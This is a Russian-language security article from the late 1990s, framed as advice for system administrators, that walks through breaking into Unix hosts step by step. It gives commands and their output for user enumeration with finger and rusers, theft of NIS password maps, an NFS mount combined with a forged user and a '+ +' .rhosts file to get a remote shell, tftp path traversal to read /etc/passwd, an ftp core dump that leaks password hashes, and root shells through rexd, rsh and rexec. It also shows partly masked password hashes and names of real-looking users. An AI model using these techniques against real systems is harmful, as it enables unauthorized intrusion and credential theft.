Online Documentation Server
 ПОИСК
ods.com.ua Web
 КАТЕГОРИИ
Home
Programming
Net technology
Unixes
Security
RFC, HOWTO
Web technology
Data bases
Other docs

 

 ПОДПИСКА

 О КОПИРАЙТАХ
Вся предоставленная на этом сервере информация собрана нами из разных источников. Если Вам кажется, что публикация каких-то документов нарушает чьи-либо авторские права, сообщите нам об этом.




Этот документ был написан полтора года назад, я думаю он интересен и сейчас. //Vyacheslav.

Советы системному администратору.

Каждый день по всему миру взламываются компьютерные сети и сервера. Уровень этих атак различен. Вопреки общему представлению что большинство из них происходит из-за слабых паролей, множество атак использует более сложный способ. Эти способы менее известны и их трудно обнаружить. Чтобы защититься от таких проникновений необходимо понимать их. Мы попытаемся пояснить некоторые из них...

Почему мы решили написать этот документ? Большинство книг и документов посвященных защите смотрят на нее глазами администратора - человека который сидит внутри системы и иногда плохо представляет ее внешние границы. Давайте отойдем от привычных представлений о системе защиты. Посмотрим на нее глазами потенциального взломщика. Для этого человека ваша система - черный ящик (или коробка шоколадных конфет). Показывая что он может сделать для того чтобы получить доступ на ваш компьютер, мы пытаемся помочь системным администраторам получит представление о там на сколько реально защищен ваш хост. Мы не предполагаем раскрыть здесь все технологии и лазейки в системе - их количество растет каждый день. Системы усовершенствуются - изменяются технологии.

Какую информацию мы можем получить об удаленной системе? Существует множество сетевых сервисов к которым следует обратиться: finger, rusers, showmount, rpcinfo, dns, ftp, sendmail... В идеале стоит собирать всю возможную информацию - информация это власть.
Давайте попробуем. Что мы можем узнать?

0. Возможно не плохой шаг сначала узнать возможные allias, имя nameserver и состав сети в которой стоит этот хост. В этом может помочь nslookup (смотри man nslookup).

1. finger и rusers:

devil# finger @www.xxx.xxxx.su
[www.xxx.xxxx.su]
Login    Name        TTY Idle    When         Office
kuzmenko Vladimir Kizmenko     p0 4:57 Sun 08:25 
kuzmenko Vladimir Kizmenko     p1 2:38 Sun 08:26 
milichen Yuri Mulichenko       p4 4:59 Fri 19:41   3B/r410  1-35-13
sherbak  Eugeny Scherbkov      p5 5:00 Sat 10:18  221/r448  1-77-33

devil# finger yur@ccsix.xxxx.xxxx.ru
[ccsix.xxxx.xxxx.ru] 
Login: yur      Name: Yuri A. Podgorodsky
Directory: /home/yur          Shell: /bin/bash
On since Sat Apr 12 12:24 (MSK) on ttyp0 from jannet.xxxx.xxxx
   3 hours 35 minutes idle
Mail forwarded to yur@jannet.xxxx.xxxx.ru
No mail.
No Plan.

devil# rusers -l unisun.xxxxx-xxx.net
Login    Name            TTY      When           Idle  Host
lavrov  unisun.xxxxx-xxx:console  Apr  2 10:32  17:37
suh     unisun.xxxxx-xxx:ttyp0    Apr  5 10:20  17:32 (mskw.desy.de)
lavrov  unisun.xxxxx-xxx:ttyp1    Apr  2 11:21  25:55 (:0.0)
lavrov  unisun.xxxxx-xxx:ttyp2    Apr  2 10:33  97:11 (:0.0)
...
Эти сервисы дают нам аккаунты, позволяют нам узнать кто в данный момент работает в системе, их shell и домашний каталог, возможно имена доверенных хостов. Обратите внимание на графу Idle, если в ней стоит несколько часов, то скорее всего в данный момент никто не обратит на вас внимание.

2. rpcinfo:

devil# rpcinfo sun10.xxx.xxx.su
program version netid   address        service    owner
100000    2    tcp    0.0.0.0.0.111    rpcbind    unknown
100000    2    udp    0.0.0.0.0.111    rpcbind    unknown
100004    2    udp    0.0.0.0.2.150    ypserv     unknown
100004    2    tcp    0.0.0.0.2.151    ypserv     unknown
100004    1    udp    0.0.0.0.2.150    ypserv     unknown
100004    1    tcp    0.0.0.0.2.151    ypserv     unknown
100069    1    udp    0.0.0.0.2.152    -          unknown
100069    1    tcp    0.0.0.0.2.154    -          unknown
100007    2    tcp    0.0.0.0.4.0      ypbind     unknown
100007    2    udp    0.0.0.0.4.3      ypbind     unknown
100007    1    tcp    0.0.0.0.4.0      ypbind     unknown
100007    1    udp    0.0.0.0.4.3      ypbind     unknown
100028    1    tcp    0.0.0.0.2.156    ypupdated  unknown
100028    1    udp    0.0.0.0.2.158    ypupdated  unknown
100009    1    udp    0.0.0.0.3.255    yppasswdd  unknown
100029    1    udp    0.0.0.0.2.159    keyserv    unknown
100003    2    udp    0.0.0.0.8.1      nfs        unknown
100005    1    udp    0.0.0.0.2.223    mountd     unknown
100005    2    udp    0.0.0.0.2.223    mountd     unknown
100005    1    tcp    0.0.0.0.2.226    mountd     unknown
100005    2    tcp    0.0.0.0.2.226    mountd     unknown
100024    1    udp    0.0.0.0.2.226    status     unknown
100024    1    tcp    0.0.0.0.2.228    status     unknown
100021    1    tcp    0.0.0.0.2.229    nlockmgr   unknown
...
rpcinfo дает информацию о запущенных RPC сервесах. Наиболее интересны из них mountd, nisd, ypserv и ypbind, statd, bootparam, pcnfsd, rexd.
statd позволяет стереть удаленно любой файл
(rs host //../../../../../../../../../etc/passwd),
pcnfsd и mountd дают доступ к дискам машины, rexd - удаленное выполнение команд.

3. NIS (nisd, ypbind, ypserv).

Если эта машина является NIS сервером, то зная NIS имя домена вы можете получить любые NIS карты простым rpc запросом. Обычно это имя совпадает с именем домена и можно попытаться его угадать:

devil# ypx -dg sun10.xxx.xxx.su
Trying domain sun10.xxx.xxx.su
Trying domain sun10
Trying domain xxx.xxx.su
sysdiag:*:0:1:Old System Diagnostic:/usr/diag/sysdiag:
   /usr/diag/sysdiag/sysdiag
sundiag:*:0:1:System Diagnostic:/usr/diag/sundiag:
   /usr/diag/sundiag/sundiag
sybase:*:13:55:syb:/usr/nms/sybase:/bin/csh
nobody:*:65534:65534::/:
daemon:*:1:1::/:
audit:*:9:9::/etc/security/audit:/bin/csh
uucp:*:4:8::/var/spool/uucppublic:
sync:__F324VMRDcL6:1:1::/:/bin/sync
root:__Ye.Ibw.8uQg:0:3:Operator:/:/bin/csh
news:*:6:6::/var/spool/news:/bin/csh
sys:*:2:2::/:/bin/csh
snm:__7ck.pfEh/2s:11:11:Network Manager:/usr/snm:/bin/csh
rom:__IriAsoksSeE:10:10:Victor Romanchik:/usr/rom:/bin/csh
nms:*:12:55:Network Manager:/usr/nms:/bin/csh
bin:*:3:3::/bin:
YP map transfer successfull.
(мы заменили первые два символа каждого пароля на '__' и изменили имена здесь и далее в тексте)

Если угадать NIS имя домена не удается, возможно получить его через bootparam сервис или подсмотреть в директории /var/yp, если она доступна публично.

4. showmount:

devil# showmount -e thsun1.xxxx.xxxxx.su
export list for thsun1.xxxx.xxxxx.su:
/pub                 (everyone)
/opt                 thsun2,thsun3,tlx39
/pgm/linux              (everyone)
/export              (everyone)
/usr                 (everyone)
/tftpboot            (everyone)
/cdrom/sol_2_3_hw894_sparc/s0 (everyone)
/home                (everyone)
/scratch/users          (everyone)
С помощью showmount мы узнали о разделах, предоставляемых этим хостом, о правах доступа к ним и возможно о доверенных хостах. Такие важные каталоги как export, home, usr доступны всем! Попробуем...

devil# mount -F nfs thsun1.xxxx.xxxxx.su:/home /mnt
devil# cd /mnt
devil# ls -al

total 12524
drwxr-xr-x  17 root     root     1024 Jun 28  1996 .
drwxr-xr-x  28 root     root     1024 Apr 12 16:29 ..
drwxr-xr-x   2 root     root      512 May 19  1995 TT_DB
drwxr-xr-x   3 root     798       512 Nov 25  1994 cfi
drwxr-xr-x   6 root     100       512 Nov 25  1994 dug
drwxr-xr-x   9 root     other     512 Feb 17 11:19 lcta
drwxr-xr-x   3 root     other     512 Jun 19  1996 lhep
drwxr-xr-x   6 root     other     512 Feb 14 11:16 lnp
drwxr-xr-x   6 root     other     512 Feb 14 11:19 lnup
drwxr-xr-x   4 root     other     512 Jan 15  1995 lnur
....

devil# cd lnup
devil# ls -al
total 12
drwxr-xr-x   6 root     other     512 Feb 14 11:19 .
drwxr-xr-x  17 root     root     1024 Jun 28  1996 ..
drwxr-xr-x   3 6000     600       512 Oct 30  1995 dolbilov
drwxr-xr-x   9 6190     600      1024 Oct  7  1996 davgun
drwxr-xr-x   4 6001     600       512 Oct 20  1995 gvf
drwxr-xr-x   4 6003     600       512 Apr  4 10:31 yup

devil# echo 'dolbilov::600:' >> /etc/groups
devil# echo 'dolbilov:x:6000:600::/noway:/bin/csh' >> /etc/passwd
devil# su dolbilov
$ cd dolbilov
$ ls -al
total 30
drwxr-xr-x   3 dolbilov dolbilov     512 Apr 12 16:21 .
drwxr-xr-x   6 root     other     512 Feb 14 11:19 ..
-rw-r--r--   1 dolbilov dolbilov    2901 Apr  7  1993 .cshrc
-rw-r--r--   1 dolbilov dolbilov    1550 Apr  7  1993 .login
-rw-r--r--   1 dolbilov dolbilov    2750 Apr  7  1993 .rootmenu
-rw-r--r--   1 dolbilov dolbilov     478 Apr  7  1993 .sunview
-rw-------   1 dolbilov dolbilov    2196 Oct 30  1995 mbox
drwxr-xr-x   2 dolbilov dolbilov     512 Nov 25  1994 timezone
$ echo '+ +' > .rhosts
$ exit
devil# rsh -l dolbilov thsun1.xxxx.xxxxx.su /bin/csh -i
$
Таким образом мы получили shell на удаленной машине.

5. sendmail:

devil# telnet www.xxx.ru 25
Trying 193.124.xxx.xx...
Connected to www.xxx.ru.
Escape character is '^]'.
220 www.xxx.ru ESMTP Sendmail 8.8.5/8.8.5; Sat,
   12 Apr 1997 15:55:36 +0400
vrfy serg
550 serg... User unknown
vrfy alex
250 Alexei E. Katov 
...
Так мы попытались угадать несколько системных аккаунтов и конечно записали версию sendmail'a - программы содержащей легендарное количество ошибок. Не будем заострять на них внимания. Новые версии выходять регулярно, старые ошибки исправляются, появляются новые. :)

6. tftp:

tftp широко известная программа похожая на ftp, служит для простейшего трансфера файлов. Ошибки в ней известны и исправлены в большинстве ОС, но и нижеследующий пример можно встретить:

devil# tfp www.xxx.ru
tftp> get /tmp/../../../../../../../../../etc/passwd /tmp/passwd
tftp> quit
devil#
7. ftp:

Сервис ftp является не только удобным, но и опасным для вашей системы. Опасность представляет не только возможность украсть доверенную информацию или занести свою при неправильной конфигурации демона. Опасность представляет возможное крушение демона командами пользователя.

devil# ftp xxxxxxxxxxx.xxx.com
Connected to xxxxxxxxxxx.xxx.com.
220 xxxxxxxxxxx FTP server (UNIX(r) System V Release 4.0) ready.
Name (xxxxxxxxxxx.xxx.com:root): ftp
331 Guest login ok, send ident as password.
Password:
230 Guest login ok, access restrictions apply.
ftp> user root
530 User root unknown.
Login failed.
ftp> user root
530 User root unknown.
Login failed.
ftp> user foobar
530 User foobar access denied.
Login failed.
ftp> quote pasv
421 Service not available, remote server has closed connection
ftp> o xxxxxxxxxxx.xxx.com
Connected to xxxxxxxxxxx.xxx.com.
220 xxxxxxxxxxx FTP server (UNIX(r) System V Release 4.0) ready.
Name (xxxxxxxxxxx.xxx.com:root): ftp
331 Guest login ok, send ident as password.
Password:
230 Guest login ok, access restrictions apply.
ftp> bin
200 Type set to I.
ftp> get core
200 PORT command successful.
150 Binary data connection for core
   (194.xx.xxx.xxx,51553) (281136 bytes).
226 Binary Transfer complete.
local: core remote: core
281136 bytes received in 16 seconds (17 Kbytes/s)
ftp> bye
221 Goodbye.
devil#


/********** Fragment of core ************/
....994:..S.:.
srk:__a2U/fw.FWhk:....::::..S 
harat:__mQb7Pij8mrA:....::::..S@
kchu:__/sPKnswJ8y2:9....::::..S`
yhew:__0/L6foNhPoA:9....:::: ..S.
:h6qh9see7ry .M:9353:....:.
pa ..S.WGZ/NEzsLjwe 2:9097::.....
flo ..S.Xbra.0mg/PMc :9097:::....
dave ..S.0VnE0zICamE: 9097::::....
on:2 ..T.VqQO2BOU:909 7::::::.....:
/****************************************/
(мы заменили первые два символа каждого пароля на '__')

7. rexd:

devil# su daemon
$ on -i faxnetxx.xxx.ru /bin/sh -i
$ uname -a
faxnetxx faxnetxx 3.2 2 i386
$ id
uid=1(daemon) gid=1(other)
$
8. Сканирование портов.

Портмэппер сообщает только о rpc сервисах. О остальных запущенных сервисах можно узнать прямым сканированием портов. Приведем только наиболее важныее порты:

а) X server.
X сервер базируется на портах 6000 + номер дислея. Если Х сервер не использует для аутенфикации magic cookies или защита отключена командой 'xhost +', информация с его дисплеев может быть подсмотрена или украдена, нажатия клавиш записаны, программы - запущены удаленно(xspy, xpush, etc). Если хост поддерживает соединение к 6000 порту то это может быть использовано для denial_of_service аттак.
б) rlogin и talkd.
В большинстве систем эти сервисы имеют ошибки связанные с переполнением буфера. rlogin пытается получить от удаленной системы переменную TERM, а talkd - узнать имя хоста требующего соединение. Если эти демоны получают в ответ строку большой длинны то происходит переполнение буфера. Это дает возможность выполнить удаленно комманды с привилегиями root.(rlogin & talkd exploits).
в) rsh и rexec.
rsh и rexec позволяют получить коммандную оболочку нее оставляя записей в log-файлах. Кроме того эти сервисы не отслеживают запрет на удаленный root логин (/etc/default/login).

devil# rsh -l smtp xxxx.xxx.ru /bin/csh -i
Warning: no access to tty; thus no job control in this shell...
# id
uid=0(root) gid=0(root)
...

devil# nc -v xxxx.xxx.ru 512
xxxx.xxx.ru [194.85.xxx.xxx] 512 (exec) open
^@root^@rootpasswd^@/bin/csh -i^@
Warning: no access to tty; thus no job control in this shell...
# id
uid=0(root) gid=1(other)
...
9. Доверенные хосты.
Обычно, работая в пределах одной группы пользователям разрешается без пароля входить на соседние компьютеры. Такие доверительные машины указываются в файлах .rhosts и hosts.equiv. Предположить какие хосты являются доверенными можно отслеживая откуда наиболее часто заходят пользователи, особенно администраторы, просматривая права на доступ к NFS разделам. Использование доверительных отношений создает определенное удобство, но вместе с тем порождает опасность проникновения в систему злоумышленников. Взломщик может исказить информацию в DNS или NIS сервере и выдавать себя за доверенный хост.


by Vyacheslav & Fima.



With any suggestions or questions please feel free to contact us